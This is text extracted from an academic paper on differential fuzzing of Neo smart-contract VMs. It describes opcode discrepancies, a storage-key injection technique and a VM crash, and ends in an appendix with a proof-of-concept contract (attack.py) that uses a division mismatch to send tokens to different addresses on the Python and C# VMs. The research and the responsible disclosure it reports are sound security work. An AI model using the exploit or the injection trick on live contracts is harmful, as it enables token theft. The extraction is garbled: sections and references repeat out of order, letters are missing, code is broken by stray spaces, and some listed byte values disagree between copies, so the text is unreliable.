6.5 Neo VM Dierences and Bugs
Here, we will discuss categories of the many true-positive dier-
ences found in Neo VMs by NeoDi.
Conversion Issues
The opcodes in Listing 5 form a minimal
test case, where the opcode 7E CAT attempts to concatenate the
integer -3 with the byte array 41414141.
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
which was part of the ocial example code. The root of this is-
sue is the design decision to use key-value storage and expose
it directly to the developer. In Neo smart contracts, the author
is responsible for isolating keys for dierent purposes. Typically,
unique prexes are used to prevent collisions and separate con-
texts. If developers do not use prexes for keys but directly pass
user-controlled input as key to the storage functions, an attacker
can intentionally collide with other keys and overwrite internal
storage variables. The recommended way to avoid this issue is to
prex all storage keys to create a separate scope and to use pre-
xes to prevent collisions. For example when a NEP-5 token con-
tract modies the balance of an address, instead of directly passing
in user controlled data as the key—Storage.Put("user_controlled")
a prex is added—Storage.Put("BALANCE_user_controlled"). With
such a prex, an attacker could not simply send tokens to an ar-
bitrary byte sequence and overwrite other variables stored in the
storage. However, when the key is prexed using string concate-
nation with the +operator, instead of the recommended concat()
function, the result can still be vulnerable! In such a case an at-
tacker, who wants to target a specic storage key, can simply
sub-
tract the prex string
—interpreted as an integer—from the tar-
geted key:
(tarдeted_st oraдe_keyin t eдe r pr e f ixi nteдe r )st r in д=
user_controlleds t r in д
As the contract and prex are public in the blockchain, a con-
tract with this bug remains vulnerable to the storage injection. We
could nd an example betting contract that makes this mistake on
GitHub [
4
]. This shows that under-documented semantic gaps can
lead to actual security issues.
Developers have to learn a new programming language that
looks like a familiar language but behaves dierently in undocu-
mented ways.
6.5 Neo VM Dierences and Bugs
Here, we will discuss categories of the many true-positive dier-
ences found in Neo VMs by NeoDi.
Conversion Issues
The opcodes in Listing 5 form a minimal
test case, where the opcode 7E CAT attempts to concatenate the
integer -3 with the byte array 41414141.
153 PUSH 3
28F NEGATE
304 PUSHBYTES4 41414141
47E CAT
Listing 5: CAT exec
104 PUSHBYTES4 41424344
200 PUSH0
381 RIGHT
4
Listing 6: RIGHT exec
The result of the Neo VM implemented in Python is
ByteArray,
fd41414141
while in C# the result is
ByteArray,fd41414141
. Note that the Python
result is one byte longer than the C# result.
CAT is not the only opcode that triggers a faulty conversion.
NeoDi found a range of alternative opcodes that trigger similar
conditions, as well as dierent faulty conversions. Another example
is a dierence in the Boolean False to ByteArray conversion.
Execution Engine Dierences
NeoDi uncovered a range of
dierences in the logic of the execution engine, for example, the
81 RIGHT
opcode. This opcode takes two elements from the stack and
then cuts o a byte array to the right of a given index. NeoDi
found a test case depicted in a minimized form in Listing 6.
Once RIGHT is executed, the result in the Python VM imple-
mentation is ByteArray,41424344, while in C# the result is an empty
ByteArray. The underlying issue for this bug type is that the opcode
handlers do not deal with edge cases in the same manner.
Mathematical Discrepancies
We already described an attack,
based on mathematical discrepancies, in-depth in Sect. 6.2. The
mathematical discrepancies highlighted in that Section is a diver-
gence of the integer division behavior, with DIV. The cause for this
dierence is the semantic details of the underlying programming
language, which leak into the VM behavior.
151 PUSH1
201 PUSHBYTES1 FE
396 DIV
Listing 7: DIV exec
1In te ger , 1
2ByteArray ,fe
3
Listing 8: DIV stack state
The Listing 7 with the stack in Listing 8 might look like another
type conversion issue because a byte array is pushed onto the stack,
followed by a division. However, the PUSHBYTES1 of 0xfe will
simply result in the byte array being cast to an integer and being
interpreted as -2. When calculating the DIV, so
1
2
, neo-python
returns 1, the Neo VM in C# returns 0.
VM Crashes
While the NeoDi fuzzer suite was mainly de-
veloped to nd execution dierences, it also uncovered memory
corruptions. For an early version of Neo C# 3.0, NeoDi crashed
the VM due to unsafe direct memory access, in conjunction with an
integer overow in the
SUBSTR
opcode, leading to an unrecoverable
segmentation fault crash.
The practical impact of bugs like this are powerful DoS attacks
against the chain.
7 CONCLUSION
Through dierential fuzzing, NeoDi uncovered attacks on alterna-
tive VM implementations in less researched smart contract VMs.
Our framework, NeoDi, is a framework for dierential fuzzing
of smart contract VMs with feedback. Thanks to its type-hash (
τ
)
guided approach; the fuzzer nds results with minimal eort and
a clear benet over unguided and random fuzzing. While we also
executed NeoDi against Ethereum VM implementations for multi-
ple days, no actual dierences could be found, showing the relative
maturity of this smart contract platform against the tested com-
petitor, Neo. Our results include security-critical dis, as well as
conventional DoS through crashes. They indicate that it is essen-
tial to specify opcode behavior thoroughly and to test and verify
implementations constantly.
We hope that, through the publication of our ndings and tools,
we raise awareness and help mitigate risks for development and
deployment of current and future smart contract VMs.
Responsible Disclosure
All of the ndings presented in this paper have been reported to
the respective maintainers and have since been xed.
Availability
The NeoDi fuzzing framework is available open-source
at https://github.com/fgsect/neodi.
The result of the Neo VM implemented in Python is
ByteArray,
fdff41414141
while in C# the result is
ByteArray,fd41414141
. Note that
the Python result is one byte longer than the C# result.
CAT is not the only opcode that triggers a faulty conversion.
NeoDi found a range of alternative opcodes that trigger similar
conditions, as well as dierent faulty conversions. Another example
is a dierence in the Boolean False to ByteArray conversion.
Execution Engine Dierences
NeoDi uncovered a range of
dierences in the logic of the execution engine, for example, the
81 RIGHT
opcode. This opcode takes two elements from the stack
and then cuts o a byte array to the right of a given index. NeoDi
found a test case depicted in a minimized form in Listing 6.
Once RIGHT is executed, the result in the Python VM imple-
mentation is ByteArray,41424344, while in C# the result is an empty
ByteArray. The underlying issue for this bug type is that the opcode
handlers do not deal with edge cases in the same manner.
Mathematical Discrepancies
We already described an attack,
based on mathematical discrepancies, in-depth in Sect. 6.2. The
mathematical discrepancies highlighted in that Section is a diver-
gence of the integer division behavior, with DIV. The cause for this
dierence is the semantic details of the underlying programming
language, which leak into the VM behavior.
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
which was part of the ocial example code. The root of this is-
sue is the design decision to use key-value storage and expose
it directly to the developer. In Neo smart contracts, the author
is responsible for isolating keys for dierent purposes. Typically,
unique prexes are used to prevent collisions and separate con-
texts. If developers do not use prexes for keys but directly pass
user-controlled input as key to the storage functions, an attacker
can intentionally collide with other keys and overwrite internal
storage variables. The recommended way to avoid this issue is to
prex all storage keys to create a separate scope and to use pre-
xes to prevent collisions. For example when a NEP-5 token con-
tract modies the balance of an address, instead of directly passing
in user controlled data as the key—Storage.Put("user_controlled")
a prex is added—Storage.Put("BALANCE_user_controlled"). With
such a prex, an attacker could not simply send tokens to an ar-
bitrary byte sequence and overwrite other variables stored in the
storage. However, when the key is prexed using string concate-
nation with the +operator, instead of the recommended concat()
function, the result can still be vulnerable! In such a case an at-
tacker, who wants to target a specic storage key, can simply
sub-
tract the prex string
—interpreted as an integer—from the tar-
geted key:
(tarдeted_st oraдe_keyin t eдe r pr e f ixi nteдe r )st r in д=
user_controlleds t r in д
As the contract and prex are public in the blockchain, a con-
tract with this bug remains vulnerable to the storage injection. We
could nd an example betting contract that makes this mistake on
GitHub [
4
]. This shows that under-documented semantic gaps can
lead to actual security issues.
Developers have to learn a new programming language that
looks like a familiar language but behaves dierently in undocu-
mented ways.
6.5 Neo VM Dierences and Bugs
Here, we will discuss categories of the many true-positive dier-
ences found in Neo VMs by NeoDi.
Conversion Issues
The opcodes in Listing 5 form a minimal
test case, where the opcode 7E CAT attempts to concatenate the
integer -3 with the byte array 41414141.
153 PUSH 3
28F NEGATE
304 PUSHBYTES4 41414141
47E CAT
Listing 5: CAT exec
104 PUSHBYTES4 41424344
200 PUSH0
381 RIGHT
4
Listing 6: RIGHT exec
The result of the Neo VM implemented in Python is
ByteArray,
fd41414141
while in C# the result is
ByteArray,fd41414141
. Note that the Python
result is one byte longer than the C# result.
CAT is not the only opcode that triggers a faulty conversion.
NeoDi found a range of alternative opcodes that trigger similar
conditions, as well as dierent faulty conversions. Another example
is a dierence in the Boolean False to ByteArray conversion.
Execution Engine Dierences
NeoDi uncovered a range of
dierences in the logic of the execution engine, for example, the
81 RIGHT
opcode. This opcode takes two elements from the stack and
then cuts o a byte array to the right of a given index. NeoDi
found a test case depicted in a minimized form in Listing 6.
Once RIGHT is executed, the result in the Python VM imple-
mentation is ByteArray,41424344, while in C# the result is an empty
ByteArray. The underlying issue for this bug type is that the opcode
handlers do not deal with edge cases in the same manner.
Mathematical Discrepancies
We already described an attack,
based on mathematical discrepancies, in-depth in Sect. 6.2. The
mathematical discrepancies highlighted in that Section is a diver-
gence of the integer division behavior, with DIV. The cause for this
dierence is the semantic details of the underlying programming
language, which leak into the VM behavior.
151 PUSH1
201 PUSHBYTES1 FE
396 DIV
Listing 7: DIV exec
1In te ger , 1
2ByteArray ,fe
3
Listing 8: DIV stack state
The Listing 7 with the stack in Listing 8 might look like another
type conversion issue because a byte array is pushed onto the stack,
followed by a division. However, the PUSHBYTES1 of 0xfe will
simply result in the byte array being cast to an integer and being
interpreted as -2. When calculating the DIV, so
1
2
, neo-python
returns 1, the Neo VM in C# returns 0.
VM Crashes
While the NeoDi fuzzer suite was mainly de-
veloped to nd execution dierences, it also uncovered memory
corruptions. For an early version of Neo C# 3.0, NeoDi crashed
the VM due to unsafe direct memory access, in conjunction with an
integer overow in the
SUBSTR
opcode, leading to an unrecoverable
segmentation fault crash.
The practical impact of bugs like this are powerful DoS attacks
against the chain.
7 CONCLUSION
Through dierential fuzzing, NeoDi uncovered attacks on alterna-
tive VM implementations in less researched smart contract VMs.
Our framework, NeoDi, is a framework for dierential fuzzing
of smart contract VMs with feedback. Thanks to its type-hash (
τ
)
guided approach; the fuzzer nds results with minimal eort and
a clear benet over unguided and random fuzzing. While we also
executed NeoDi against Ethereum VM implementations for multi-
ple days, no actual dierences could be found, showing the relative
maturity of this smart contract platform against the tested com-
petitor, Neo. Our results include security-critical dis, as well as
conventional DoS through crashes. They indicate that it is essen-
tial to specify opcode behavior thoroughly and to test and verify
implementations constantly.
We hope that, through the publication of our ndings and tools,
we raise awareness and help mitigate risks for development and
deployment of current and future smart contract VMs.
Responsible Disclosure
All of the ndings presented in this paper have been reported to
the respective maintainers and have since been xed.
Availability
The NeoDi fuzzing framework is available open-source
at https://github.com/fgsect/neodi.
The Listing 7 with the stack in Listing 8 might look like another
type conversion issue because a byte array is pushed onto the stack,
followed by a division. However, the PUSHBYTES1 of 0xfe will
simply result in the byte array being cast to an integer and being
interpreted as -2. When calculating the DIV, so
1
2
, neo-python
returns 1, the Neo VM in C# returns 0.
VM Crashes
While the NeoDi fuzzer suite was mainly de-
veloped to nd execution dierences, it also uncovered memory
corruptions. For an early version of Neo C# 3.0, NeoDi crashed
the VM due to unsafe direct memory access, in conjunction with an
integer overow in the
SUBSTR
opcode, leading to an unrecoverable
segmentation fault crash.
The practical impact of bugs like this are powerful DoS attacks
against the chain.
7 CONCLUSION
Through dierential fuzzing, NeoDi uncovered attacks on alterna-
tive VM implementations in less researched smart contract VMs.
Our framework, NeoDi, is a framework for dierential fuzzing
of smart contract VMs with feedback. Thanks to its type-hash (
τ
)
guided approach; the fuzzer nds results with minimal eort and
a clear benet over unguided and random fuzzing. While we also
executed NeoDi against Ethereum VM implementations for multi-
ple days, no actual dierences could be found, showing the relative
maturity of this smart contract platform against the tested com-
petitor, Neo. Our results include security-critical dis, as well as
conventional DoS through crashes. They indicate that it is essen-
tial to specify opcode behavior thoroughly and to test and verify
implementations constantly.
We hope that, through the publication of our ndings and tools,
we raise awareness and help mitigate risks for development and
deployment of current and future smart contract VMs.
Responsible Disclosure
All of the ndings presented in this paper have been reported to
the respective maintainers and have since been xed.
Availability
The NeoDi fuzzing framework is available open-source
at https://github.com/fgsect/neodi.
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
ACKNOWLEDGMENTS
We would like to thank our shepherd Juraj Somorovsky for valuable
insights and feedback.
REFERENCES
[1]
Tyler Adams, luodanwg, tanyuan, and Alan Fong. 2017. NEP-5: Token Standard.
https://github.com/neo-project/proposals/blob/master/nep- 5.mediawiki
[2]
Cornelius Aschermann, Sergej Schumilo, Ali Abbasi, and Thorsten Holz. 2020.
IJON: Exploring Deep State Spaces via Fuzzing. IEEE Symposium on Security and
Privacy ("Oakland"), San Jose, CA, May 2020 (May 2020).
[3]
Vitalik Buterin. 2014. Ethereum: A next-generation smart contract and decen-
tralized application platform.
[4]
Kien Dang. [n.d.]. Neo betting. https://github.com/DNK90/neo_api_server/blob/
8eb5ebc546fcfe5199f3d26e4845cd79d7384d/contract/neo_betting.py.
[5]
Kien Dang. 2018. NEO API Server. https://github.com/DNK90/neo_api_server/
blob/8eb5ebc546fcfe5199f3d26e4845cd79d7384d/contract/neo_betting.py.
[6]
Andrea Fioraldi, Dominik Maier, Heiko Eißfeldt, and Marc Heuse. 2020. AFL++:
Combining Incremental Steps of Fuzzing Research. In 14th USENIX Workshop on
Oensive Technologies (WOOT 20).
[7]
Neo Foundation. [n.d.]. Consensus Mechanism. https://docs.neo.org/docs/en-
us/basic/technology/dbft.html.
[8] Neo Foundation. [n.d.]. Neo-CLI. https://github.com/neo-project/neo-cli.
[9]
Neo Foundation. [n.d.]. Neo Virtual Machine. https://github.com/neo-project/
neo-vm.
[10]
Neo Foundation. [n.d.]. Neo White Paper. https://docs.neo.org/docs/en-us/basic/
whitepaper.html.
[11]
Neo Foundation. 2018. A Statement on Storage Injection Vulnerability. https:
//neo.org/blog/details/3080.
[12]
Ying Fu, Meng Ren, Fuchen Ma, Yu Jiang, Heyuan Shi, and Jiaguang Sun. 2019.
EVMFuzz: Dierential Fuzz Testing of Ethereum Virtual Machine. Proceedings of
the 2019 27th ACM Joint Meeting on European Software Engineering Conference
and Symposium on the Foundations of Software Engineering (2019).
[13]
Johannes Krupp and Christian Rossow. 2018. teether: Gnawing at Ethereum to
Automatically Exploit Smart Contracts. Proceedings of the 27th USENIX Security
Symposium (2018), 1317–1333.
[14]
Dominik Maier, Benedikt Radtke, and Bastian Harren. 2019. Unicorefuzz: On
the Viability of Emulation for Kernelspace Fuzzing. In 13th USENIX Workshop
on Oensive Technologies (WOOT 19). USENIX Association, Santa Clara, CA.
https://www.usenix.org/conference/woot19/presentation/maier
[15]
W. M. McKeeman. 1998. Dierential Testing for Software. Digital Technical
Journal 10, 1 (1998), 1.
[16]
Barbara Liskov Miguel Castro. 1999. Practical Byzantine Fault Tolerance. Proceed-
ings of the Third Symposium on Operating Systems Design and Implementation,
New Orleans, USA, February 1999.
[17]
Shirin Nilizadeh, Yannic Noller, and Corina S. Păsăreanu. 2019. DifFuzz: Dier-
ential Fuzzing for Side-channel Analysis. In Proceedings of the 41st International
Conference on Software Engineering (Montreal, Quebec, Canada) (ICSE ’19). IEEE
Press, Piscataway, NJ, USA, 176–187. https://doi.org/10.1109/ICSE.2019.00034
[18]
Yannic Noller, Corina S Păsăreanu, Marcel Böhme, Youcheng Sun, Hoang Lam
Nguyen, and Lars Grunske. 2020. HyDi: Hybrid Dierential Software Analysis.
In Proceedings of the International Conference on Software Engineering.
[19]
City of Zion. [n.d.]. Personal blockchain for Neo dApp development! https:
//github.com/CityOfZion/neo-local.
[20]
City of Zion. [n.d.]. Python compiler for the Neo Virtual Machine. https://github.
com/CityOfZion/neo-boa.
[21]
City of Zion. [n.d.]. Python Node and SDK for the Neo 2.x blockchain. https:
//github.com/CityOfZion/neo-python.
[22]
Rohan Padhye, Caroline Lemieux, Koushik Sen, Laurent Simon, and Hayawardh
Vijayakumar. 2019. FuzzFactor y: Domain-Specic Fuzzing with Waypoints.
Proc. ACM Program. Lang. 3, OOPSLA, Article 174 (Oct. 2019), 29 pages. https:
//doi.org/10.1145/3360600
[23]
Theolos Petsios, Adrian Tang, Salvatore J. Stolfo, Angelos D. Keromytis, and
Suman Jana. 2017. NEZHA: Ecient Domain-Independent Dierential Testing.
2017 IEEE Symposium on Security and Privacy (SP) (2017), 615–632.
[24]
Qin Wang, Jiangshan Yu, Zhiniang Peng, Van Cuong Bui, Shiping Chen, Yong
Ding, and Yang Xiang. 2020. Security Analysis on dBFT protocol of Neo. In
Twenty-Fourth International Conference on Financial Cryptography and Data
Security. Kota Kinabalu, Sabah, Malaysia. https://www.researchgate.net/prole/
Qin_Wang37/publication/340428870_Security_Analysis_on_dBFT_protocol_
of_Neo/links/5e884342a6fdcca789f12daa/Security-Analysis- on-dBFT-protocol-
of-Neo.pdf
[25]
Xuejun Yang, Yang Chen, Eric Eide, and John Regehr. 2011. Finding and under-
standing bugs in C compilers. In Proceedings of the 32nd ACM SIGPLAN conference
on Programming language design and implementation. 283–294.
A DIFFERENTIAL VM ATTACK POC
A.1 attack.py
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
ACKNOWLEDGMENTS
We would like to thank our shepherd Juraj Somorovsky for valuable
insights and feedback.
REFERENCES
[1]
Tyler Adams, luodanwg, tanyuan, and Alan Fong. 2017. NEP-5: Token Standard.
https://github.com/neo-project/proposals/blob/master/nep- 5.mediawiki
[2]
Cornelius Aschermann, Sergej Schumilo, Ali Abbasi, and Thorsten Holz. 2020.
IJON: Exploring Deep State Spaces via Fuzzing. IEEE Symposium on Security and
Privacy ("Oakland"), San Jose, CA, May 2020 (May 2020).
[3]
Vitalik Buterin. 2014. Ethereum: A next-generation smart contract and decen-
tralized application platform.
[4]
Kien Dang. [n.d.]. Neo betting. https://github.com/DNK90/neo_api_server/blob/
8eb5ebc546fcfe5199f3d26e4845cd79d7384d/contract/neo_betting.py.
[5]
Kien Dang. 2018. NEO API Server. https://github.com/DNK90/neo_api_server/
blob/8eb5ebc546fcfe5199f3d26e4845cd79d7384d/contract/neo_betting.py.
[6]
Andrea Fioraldi, Dominik Maier, Heiko Eißfeldt, and Marc Heuse. 2020. AFL++:
Combining Incremental Steps of Fuzzing Research. In 14th USENIX Workshop on
Oensive Technologies (WOOT 20).
[7]
Neo Foundation. [n.d.]. Consensus Mechanism. https://docs.neo.org/docs/en-
us/basic/technology/dbft.html.
[8] Neo Foundation. [n.d.]. Neo-CLI. https://github.com/neo-project/neo-cli.
[9]
Neo Foundation. [n.d.]. Neo Virtual Machine. https://github.com/neo-project/
neo-vm.
[10]
Neo Foundation. [n.d.]. Neo White Paper. https://docs.neo.org/docs/en-us/basic/
whitepaper.html.
[11]
Neo Foundation. 2018. A Statement on Storage Injection Vulnerability. https:
//neo.org/blog/details/3080.
[12]
Ying Fu, Meng Ren, Fuchen Ma, Yu Jiang, Heyuan Shi, and Jiaguang Sun. 2019.
EVMFuzz: Dierential Fuzz Testing of Ethereum Virtual Machine. Proceedings of
the 2019 27th ACM Joint Meeting on European Software Engineering Conference
and Symposium on the Foundations of Software Engineering (2019).
[13]
Johannes Krupp and Christian Rossow. 2018. teether: Gnawing at Ethereum to
Automatically Exploit Smart Contracts. Proceedings of the 27th USENIX Security
Symposium (2018), 1317–1333.
[14]
Dominik Maier, Benedikt Radtke, and Bastian Harren. 2019. Unicorefuzz: On
the Viability of Emulation for Kernelspace Fuzzing. In 13th USENIX Workshop
on Oensive Technologies (WOOT 19). USENIX Association, Santa Clara, CA.
https://www.usenix.org/conference/woot19/presentation/maier
[15]
W. M. McKeeman. 1998. Dierential Testing for Software. Digital Technical
Journal 10, 1 (1998), 1.
[16]
Barbara Liskov Miguel Castro. 1999. Practical Byzantine Fault Tolerance. Proceed-
ings of the Third Symposium on Operating Systems Design and Implementation,
New Orleans, USA, February 1999.
[17]
Shirin Nilizadeh, Yannic Noller, and Corina S. Păsăreanu. 2019. DifFuzz: Dier-
ential Fuzzing for Side-channel Analysis. In Proceedings of the 41st International
Conference on Software Engineering (Montreal, Quebec, Canada) (ICSE ’19). IEEE
Press, Piscataway, NJ, USA, 176–187. https://doi.org/10.1109/ICSE.2019.00034
[18]
Yannic Noller, Corina S Păsăreanu, Marcel Böhme, Youcheng Sun, Hoang Lam
Nguyen, and Lars Grunske. 2020. HyDi: Hybrid Dierential Software Analysis.
In Proceedings of the International Conference on Software Engineering.
[19]
City of Zion. [n.d.]. Personal blockchain for Neo dApp development! https:
//github.com/CityOfZion/neo-local.
[20]
City of Zion. [n.d.]. Python compiler for the Neo Virtual Machine. https://github.
com/CityOfZion/neo-boa.
[21]
City of Zion. [n.d.]. Python Node and SDK for the Neo 2.x blockchain. https:
//github.com/CityOfZion/neo-python.
[22]
Rohan Padhye, Caroline Lemieux, Koushik Sen, Laurent Simon, and Hayawardh
Vijayakumar. 2019. FuzzFactor y: Domain-Specic Fuzzing with Waypoints.
Proc. ACM Program. Lang. 3, OOPSLA, Article 174 (Oct. 2019), 29 pages. https:
//doi.org/10.1145/3360600
[23]
Theolos Petsios, Adrian Tang, Salvatore J. Stolfo, Angelos D. Keromytis, and
Suman Jana. 2017. NEZHA: Ecient Domain-Independent Dierential Testing.
2017 IEEE Symposium on Security and Privacy (SP) (2017), 615–632.
[24]
Qin Wang, Jiangshan Yu, Zhiniang Peng, Van Cuong Bui, Shiping Chen, Yong
Ding, and Yang Xiang. 2020. Security Analysis on dBFT protocol of Neo. In
Twenty-Fourth International Conference on Financial Cryptography and Data
Security. Kota Kinabalu, Sabah, Malaysia. https://www.researchgate.net/prole/
Qin_Wang37/publication/340428870_Security_Analysis_on_dBFT_protocol_
of_Neo/links/5e884342a6fdcca789f12daa/Security-Analysis- on-dBFT-protocol-
of-Neo.pdf
[25]
Xuejun Yang, Yang Chen, Eric Eide, and John Regehr. 2011. Finding and under-
standing bugs in C compilers. In Proceedings of the 32nd ACM SIGPLAN conference
on Programming language design and implementation. 283–294.
A DIFFERENTIAL VM ATTACK POC
A.1 attack.py
1from boa .interop .Neo .TriggerType import A pp l ic at io n ,Verification
2from boa .interop .Neo .App import RegisterAppCall
3from boa .interop .Neo .Run time import GetTrigger
4
5tokenContract =RegisterAppCall ('36cdd5a63533811cd117a9999032a0e6eee5d6e0','
operation','args')
6
7de f Main (a rgs ) :
8trigger =GetTrigger ( )
9i f trigger == Verification ( ) :
10 # ev er yb od y w il l be ab le t o sp en d th e NE O on t hi s co nt ra c t
11 re tu r n Tr ue
12
13 e l i f trigger == A ppl ica tio n () :
14 fr =ar gs [0]
15 real_to =ar gs [1]
16 fake_to =ar gs [2]
17 amount =a rgs [ 3 ]
18
19 # DIV di sc r ep an cy se tu p
20 a= 1
21 b= - 3
22 c=a/b
23
24 i f c= = - 1 :
25 tokenContract ('transfer', [ fr ,f ak e_to ,amo unt ] )
26 re tu r n "P y th o n "
27 else :
28 tokenContract ('transfer', [ fr ,r e al _ t o ,amount ] )
29 re tu r n "C s ha r p "
Listing 9: attack.py: the smart contract implementing the
attack from Sect. 6.2: it uses a VM dierence to transfer
tokens to another address on the C# VM than on the
Python VM.
A.2 server.py
1# ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - p y th o n / bl o b / v0 . 8 .4 / e x am p le s /
sm ar t - co n tr a ct . p y
2
3# Im po rt s le ft ou t fo r br ev it y
4
5smart_contract =SmartContract ('0x36cdd5a63533811cd117a9999032a0e6eee5d6e0')
6wallet =None
7
8fromhex =lambd a x:bytes .fromhex (x)
9
10 # ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - p y th o n / bl o b / v0 . 9 .1 / n e o / Co r e /
Cr y pt o g r ap h y / H e l pe r . p y
11 de f scripthash_to_address (scripthash ) :
12 bin_dbl_sha256 =lambd a s :hashlib.sha256 (hashlib .sha256 (s) . digest ( ) ) .
digest ( )
13 sb =bytearray ( [ 2 3 ] ) + scripthash
14 c2 56 =bin_dbl_sha256 (s b )[0:4]
15 out b =sb +bytearray (c 256 )
16 re tu r n base58 .b58encode(bytes (o utb ) ) . d eco de (" ut f - 8 " )
17
18
19 # ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - p y th o n / bl o b / v0 . 8 .4 / n e o / Pr o mp t /
Co mm a nd s / S en d . py # L 2 44
20 de f process_transaction (wa ll et ,contract_tx ,scr i pt ha sh _ fr om =Non e ,
21 scripthash_change=None ,f e e =Non e ,owners =Non e ,
22 user_tx_attributes=None ) :
23 tx =wallet .MakeTransaction (t x=contract_tx ,
24 change_address=scripthash_change ,
25 fe e =fee ,
26 from_addr=sc ri pth ash _f rom )
27 input_coinref =wallet .FindCoinsByVins (tx .inputs ) [ 0 ]
28 source_addr =input_coinref .Address
29 asset_name ='NEO'
30 standard_contract =wallet .Ge tSta nda rdAd dre ss ( )
31 signer_contract =wallet .GetContract(standard _contract )
32
33 tx .A t t r i b u t e s = [ TransactionAttribute (us age =TransactionAttributeUsage .
Script ,
34 da ta =standard_contract .Da ta ) ]
35
36 tx .A t t r i b u t e s =t x .At t r i b u t e s +user_tx_attributes
37
38 context =ContractParametersContext(t x ,isM u l t i S i g =signer_contract .
IsMultiSigContract)
39 wallet .Si gn (context )
40
41 i f context .Comp leted :
42 tx .scripts =context .GetScripts ( )
43 re l ay ed =NodeLeader .Instance ( ) . Relay (t x )
44 i f re lay ed :
45 wallet .SaveTransaction(t x )
46 print(" R el ay e d Tx : % s " %tx .Hash .ToString ( ) )
47 re tu r n tx
48
A.2 server.py
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
ACKNOWLEDGMENTS
We would like to thank our shepherd Juraj Somorovsky for valuable
insights and feedback.
REFERENCES
[1]
Tyler Adams, luodanwg, tanyuan, and Alan Fong. 2017. NEP-5: Token Standard.
https://github.com/neo-project/proposals/blob/master/nep- 5.mediawiki
[2]
Cornelius Aschermann, Sergej Schumilo, Ali Abbasi, and Thorsten Holz. 2020.
IJON: Exploring Deep State Spaces via Fuzzing. IEEE Symposium on Security and
Privacy ("Oakland"), San Jose, CA, May 2020 (May 2020).
[3]
Vitalik Buterin. 2014. Ethereum: A next-generation smart contract and decen-
tralized application platform.
[4]
Kien Dang. [n.d.]. Neo betting. https://github.com/DNK90/neo_api_server/blob/
8eb5ebc546fcfe5199f3d26e4845cd79d7384d/contract/neo_betting.py.
[5]
Kien Dang. 2018. NEO API Server. https://github.com/DNK90/neo_api_server/
blob/8eb5ebc546fcfe5199f3d26e4845cd79d7384d/contract/neo_betting.py.
[6]
Andrea Fioraldi, Dominik Maier, Heiko Eißfeldt, and Marc Heuse. 2020. AFL++:
Combining Incremental Steps of Fuzzing Research. In 14th USENIX Workshop on
Oensive Technologies (WOOT 20).
[7]
Neo Foundation. [n.d.]. Consensus Mechanism. https://docs.neo.org/docs/en-
us/basic/technology/dbft.html.
[8] Neo Foundation. [n.d.]. Neo-CLI. https://github.com/neo-project/neo-cli.
[9]
Neo Foundation. [n.d.]. Neo Virtual Machine. https://github.com/neo-project/
neo-vm.
[10]
Neo Foundation. [n.d.]. Neo White Paper. https://docs.neo.org/docs/en-us/basic/
whitepaper.html.
[11]
Neo Foundation. 2018. A Statement on Storage Injection Vulnerability. https:
//neo.org/blog/details/3080.
[12]
Ying Fu, Meng Ren, Fuchen Ma, Yu Jiang, Heyuan Shi, and Jiaguang Sun. 2019.
EVMFuzz: Dierential Fuzz Testing of Ethereum Virtual Machine. Proceedings of
the 2019 27th ACM Joint Meeting on European Software Engineering Conference
and Symposium on the Foundations of Software Engineering (2019).
[13]
Johannes Krupp and Christian Rossow. 2018. teether: Gnawing at Ethereum to
Automatically Exploit Smart Contracts. Proceedings of the 27th USENIX Security
Symposium (2018), 1317–1333.
[14]
Dominik Maier, Benedikt Radtke, and Bastian Harren. 2019. Unicorefuzz: On
the Viability of Emulation for Kernelspace Fuzzing. In 13th USENIX Workshop
on Oensive Technologies (WOOT 19). USENIX Association, Santa Clara, CA.
https://www.usenix.org/conference/woot19/presentation/maier
[15]
W. M. McKeeman. 1998. Dierential Testing for Software. Digital Technical
Journal 10, 1 (1998), 1.
[16]
Barbara Liskov Miguel Castro. 1999. Practical Byzantine Fault Tolerance. Proceed-
ings of the Third Symposium on Operating Systems Design and Implementation,
New Orleans, USA, February 1999.
[17]
Shirin Nilizadeh, Yannic Noller, and Corina S. Păsăreanu. 2019. DifFuzz: Dier-
ential Fuzzing for Side-channel Analysis. In Proceedings of the 41st International
Conference on Software Engineering (Montreal, Quebec, Canada) (ICSE ’19). IEEE
Press, Piscataway, NJ, USA, 176–187. https://doi.org/10.1109/ICSE.2019.00034
[18]
Yannic Noller, Corina S Păsăreanu, Marcel Böhme, Youcheng Sun, Hoang Lam
Nguyen, and Lars Grunske. 2020. HyDi: Hybrid Dierential Software Analysis.
In Proceedings of the International Conference on Software Engineering.
[19]
City of Zion. [n.d.]. Personal blockchain for Neo dApp development! https:
//github.com/CityOfZion/neo-local.
[20]
City of Zion. [n.d.]. Python compiler for the Neo Virtual Machine. https://github.
com/CityOfZion/neo-boa.
[21]
City of Zion. [n.d.]. Python Node and SDK for the Neo 2.x blockchain. https:
//github.com/CityOfZion/neo-python.
[22]
Rohan Padhye, Caroline Lemieux, Koushik Sen, Laurent Simon, and Hayawardh
Vijayakumar. 2019. FuzzFactor y: Domain-Specic Fuzzing with Waypoints.
Proc. ACM Program. Lang. 3, OOPSLA, Article 174 (Oct. 2019), 29 pages. https:
//doi.org/10.1145/3360600
[23]
Theolos Petsios, Adrian Tang, Salvatore J. Stolfo, Angelos D. Keromytis, and
Suman Jana. 2017. NEZHA: Ecient Domain-Independent Dierential Testing.
2017 IEEE Symposium on Security and Privacy (SP) (2017), 615–632.
[24]
Qin Wang, Jiangshan Yu, Zhiniang Peng, Van Cuong Bui, Shiping Chen, Yong
Ding, and Yang Xiang. 2020. Security Analysis on dBFT protocol of Neo. In
Twenty-Fourth International Conference on Financial Cryptography and Data
Security. Kota Kinabalu, Sabah, Malaysia. https://www.researchgate.net/prole/
Qin_Wang37/publication/340428870_Security_Analysis_on_dBFT_protocol_
of_Neo/links/5e884342a6fdcca789f12daa/Security-Analysis- on-dBFT-protocol-
of-Neo.pdf
[25]
Xuejun Yang, Yang Chen, Eric Eide, and John Regehr. 2011. Finding and under-
